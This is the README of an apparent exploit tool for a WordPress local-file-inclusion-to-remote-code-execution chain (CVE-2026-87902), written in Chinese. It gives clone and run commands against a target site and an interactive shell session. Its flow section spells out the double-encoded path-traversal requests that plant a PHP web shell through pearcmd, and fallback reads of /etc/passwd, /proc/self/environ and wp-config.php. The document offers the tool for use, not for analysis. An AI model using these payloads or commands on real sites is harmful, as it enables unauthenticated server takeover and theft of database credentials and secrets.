针对 CVE-2026-87902 的 Python 漏洞利用程序,这是一个 WordPress Core 从 LFI 到 RCE 的利用链。可识别版本指纹,通过 pearcmd 写入 PHP shell,并提供命令执行或 LFI 回退方案。
| 字段 | 值 |
|---|
| CVE | CVE-2026-87902 |
| 类型 | 本地文件包含(LFI)→ 远程代码执行(RCE) |
| CWE | CWE-98 |
| CVSS v3.1 | 9.2(严重) |
| 攻击向量 | 网络(未认证) |
| 受影响版本 | WordPress 4.7.0 – 7.1.1 |
| 已修补版本 | WordPress 7.1.2(以及回溯移植至 4.7.37) |
| 根本原因 | get_page_template() 在对 pagename 参数进行 URL 解码后未调用 validate_file(),导致双重编码的路径遍历(%252E%252E%252F)可绕过清理,并包含主题目录之外的任意 .php 文件。 |
要实现完整的 RCE,以下所有条件必须为真:
page-* 目录(例如 page-templates/)pearcmd.php 存在且 Web 服务器用户可读(官方 PHP Docker 镜像以及许多 PHP < 8.5 的 cPanel 安装中的默认情况)register_argc_argv=On(PHP < 8.5 中的默认值)如果缺少其中任何一项,漏洞利用将回退到仅 LFI 文件读取。
exploit.py # 主漏洞利用脚本 README.md # 本文件 report.json # (可选)使用 -o 时的输出报告
安装:
apt update
apt upgrade
apt install python
apt install git
pip install requests
git clone https://github.com/zyphorixofficialmain-lab/cve-2026-87902
cd cve-2026-87902
python3 exploit.py -t https://site.com -v
这将:
· 识别 WordPress 版本和活动主题 · 验证易受攻击的版本范围 · 定位已发布页面的 ID(REST → sitemap → 暴力破解) · 尝试通过 pearcmd.php 写入 PHP shell · 尝试包含该 shell 并执行 id · 如果 RCE 失败,则回退到对敏感文件的 LFI
python3 exploit.py -t https://site.com -c "id"
python3 exploit.py -t https://site.com -i -v
在 shell 内:
wp$ id
wp$ uname -a
wp$ cat /etc/passwd
wp$ exit
python3 exploit.py -t https://site.com -o report.json -v
python3 exploit.py -t https://site.com -c "whoami" -o report.json -v
🧾 CLI 参考
标志 长标志 描述 -t --target 必需。目标 WordPress URL(无尾部斜杠)。 -c --command 在 RCE 后执行单条 shell 命令。 -i --interactive 在 RCE 后打开交互式 shell。 -v --verbose 打印详细进度。 -o --output 将最终报告以 JSON 格式保存到给定路径。 -h --help 显示帮助。
🔄 漏洞利用流程
[1] 指纹识别
├─ WordPress 版本(meta generator / 资源 ?ver=)
└─ 活动主题(/wp-content/themes/<name>/)
[2] 版本检查
└─ 4.7.0 – 7.1.1 ? 继续 : 警告并继续
[3] 查找页面 ID
├─ REST: /wp-json/wp/v2/pages
├─ Sitemap: /wp-sitemap.xml
└─ 暴力破解: /?page_id=1..30
[4] 检查 page-* 目录
├─ page-templates
├─ page-template
├─ pages
├─ templates
└─ page
[5] 通过 pearcmd 写入 shell
└─ POST /?+config-create+/&page_id=<id>&pagename=templates%252F..%252F..%252Fusr%252Flocal%252Flib%252Fphp%252Fpearcmd
body: root=<?php system($_GET['c']); ?>
[6] 包含 shell
└─ GET /?page_id=<id>&pagename=templates%252F..%252F..%252Ftmp%252F<shell>.php&c=id
[7] 回退 LFI(如果 RCE 失败)
├─ /etc/passwd
├─ /etc/hostname
├─ /proc/self/environ
├─ /proc/version
├─ wp-config.php
└─ ../.. 变体